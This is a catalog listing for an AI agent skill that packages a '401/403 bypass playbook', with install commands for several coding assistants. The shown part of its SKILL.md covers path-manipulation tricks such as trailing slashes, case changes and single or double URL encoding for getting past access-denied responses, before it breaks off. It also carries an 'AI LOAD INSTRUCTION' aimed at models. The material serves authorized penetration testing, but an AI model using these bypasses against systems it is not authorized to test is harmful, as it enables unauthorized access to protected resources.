# 401 403 Bypass Techniques

401/403 bypass playbook.

- Repository: https://github.com/yaklang/hack-skills (2601 stars)
- Category: Engineering
- License: MIT
- Last updated: 2026-09-13
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -g -a claude-code -y`
Codex: `npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -g -a codex -y`
Cursor: `npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -g -a cursor -y`
Gemini CLI: `npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -g -a gemini-cli -y`

## Description

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# SKILL: 401/403 Bypass Techniques, Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.

## 0. RELATED ROUTING

- [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md), broader auth bypass (login flaws, session handling)
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md), when bypass is WAF-specific rather than access control
- [http-host-header-attacks](../http-host-header-attacks/SKILL.md), Host header manipulation for routing bypass
- [request-smuggling](../request-smuggling/SKILL.md), smuggle past access controls entirely
- [http2-specific-attacks](../http2-specific-attacks/SKILL.md), h2c smuggling to bypass proxy ACLs

---

## 1. PATH MANIPULATION BYPASSES

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.

### 1.1 Trailing Slash / Missing Slash

```
/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)
```

### 1.2 Case Sensitivity

```
/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓
```

Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).

### 1.3 URL Encoding

```
/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)
```

### 1.4 Double URL Encoding

```
/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓
```

### 1.5 Unicode / UTF-8 Encoding

The rest: https://github.com/yaklang/hack-skills/blob/HEAD/skills/401-403-bypass-techniques/SKILL.md